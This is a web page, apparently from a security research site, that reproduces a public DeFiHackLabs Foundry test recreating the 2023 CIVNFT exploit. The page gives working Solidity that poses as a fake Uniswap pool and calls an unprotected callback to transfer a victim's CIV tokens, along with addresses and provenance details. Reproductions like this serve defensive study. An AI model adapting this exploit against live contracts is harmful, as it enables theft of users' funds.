Public reproduction file
src/test/2023-07/CIVNFT_exp.sol
Public reproduction file for dataset entry CIVNFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~180K USD$8// Attacker : https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff669// Attack Contract : https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec10// Vulnerable Contract : https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa00058011// Attack Tx : https://etherscan.io/tx/0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb13// @Analysis14// https://twitter.com/Phalcon_xyz/status/167772220889302221015// https://news.civfund.org/civtrade-hack-analysis-9a2398a6bc2e16// https://blog.solidityscan.com/civnft-hack-analysis-4ee79b8c33d118// Similar incident: https://github.com/SunWeb3Sec/DeFiHackLabs#20230708-civfund---lack-of-access-control20contract CIVNFTTest is Test {21 struct Slot0 {22 // the current price23 uint160 sqrtPriceX96;24 // the current tick25 int24 tick;26 // the most-recently updated index of the observations array27 uint16 observationIndex;28 // the current maximum number of observations that are being stored29 uint16 observationCardinality;30 // the next maximum number of observations to store, triggered in observations.write31 uint16 observationCardinalityNext;32 // the current protocol fee as a percentage of the swap fee taken on withdrawal33 // represented as an integer denominator (1/x)%34 uint8 feeProtocol;35 // whether the pool is locked36 bool unlocked;37 }39 IERC20 private constant CIV = IERC20(0x37fE0f067FA808fFBDd12891C0858532CFE7361d);40 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);41 address private constant CIVNFT = 0xF169BD68ED72B2fdC3C9234833197171AA000580;42 address private constant victim = 0x512e9701D314b365921BcB3b8265658A152C9fFD;44 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);46 function setUp() public {47 cheats.createSelectFork("mainnet", 17_649_875);48 cheats.label(address(CIV), "CIV");49 cheats.label(address(WETH), "WETH");50 cheats.label(CIVNFT, "CIVNFT");51 cheats.label(victim, "victim");52 }54 function testExploit() public {55 emit log_named_decimal_uint("Attacker CIV balance before exploit", CIV.balanceOf(address(this)), CIV.decimals());56 // Calling vulnerable function in CIVNFT contract57 call0x7ca06d68();58 emit log_named_decimal_uint("Attacker CIV balance after exploit", CIV.balanceOf(address(this)), CIV.decimals());59 }61 function token0() external view returns (address) {62 return address(CIV);63 }65 function token1() external view returns (address) {66 return address(WETH);67 }69 function tickSpacing() external pure returns (int24) {70 return 60;71 }73 function slot0() external pure returns (Slot0 memory) {74 return Slot0({75 sqrtPriceX96: 590_212_530_842_204_246_875_907_781,76 tick: -97_380,77 observationIndex: 0,78 observationCardinality: 1,79 observationCardinalityNext: 1,80 feeProtocol: 0,81 unlocked: true82 });83 }85 function mint(86 address recipient,87 int24 tickLower,88 int24 tickUpper,89 uint128 amount,90 bytes calldata data91 ) external returns (uint256 amount0, uint256 amount1) {92 callUniswapV3MintCallback();93 }95 function call0x7ca06d68() internal {96 (bool success,) = CIVNFT.call(97 abi.encodeWithSelector(98 bytes4(0x7ca06d68), // vulnerable function selector99 address(this), // fake uniswap pool100 abi.encodePacked("0.000059"),101 -97_385, // int24 tick102 195_476_868_337_608_980_000_000, // uint256103 0, // uint256104 true // bool105 )106 );107 require(success, "Call to CIVNFT failed");108 }110 function callUniswapV3MintCallback() internal {111 bytes memory data = abi.encode(victim, victim);112 (bool success,) = CIVNFT.call(abi.encodeWithSelector(bytes4(0xd3487997), CIV.balanceOf(victim), 0, data));113 require(success, "Call to Uniswap callback failed");114 }115}Analysis
Dataset entry
Public Foundry test for “CIVNFT” (2023-07-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xbf9df575670c739d9bf1424d4913e7244ed3ff66
- Attack Contract
0x1ae3929e1975043e5443868be91cac12d8cc25ec
- Vulnerable Contract
0xf169bd68ed72b2fdc3c9234833197171aa000580
- Attack Tx
0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb
- Explorer: https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff66
- Explorer: https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec
- Explorer: https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa000580
- Reference: https://twitter.com/Phalcon_xyz/status/1677722208893022210
File record
- Name
- CIVNFT
- Path
- src/test/2023-07/CIVNFT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 388f21c055eb6d2c3ff67b92ff0d17ba9857206a
- Language
- Solidity
- Size
- 116 lines
- Date
- 2023-07-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/CIVNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 388f21c055eb6d2c3ff67b92ff0d17ba9857206a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.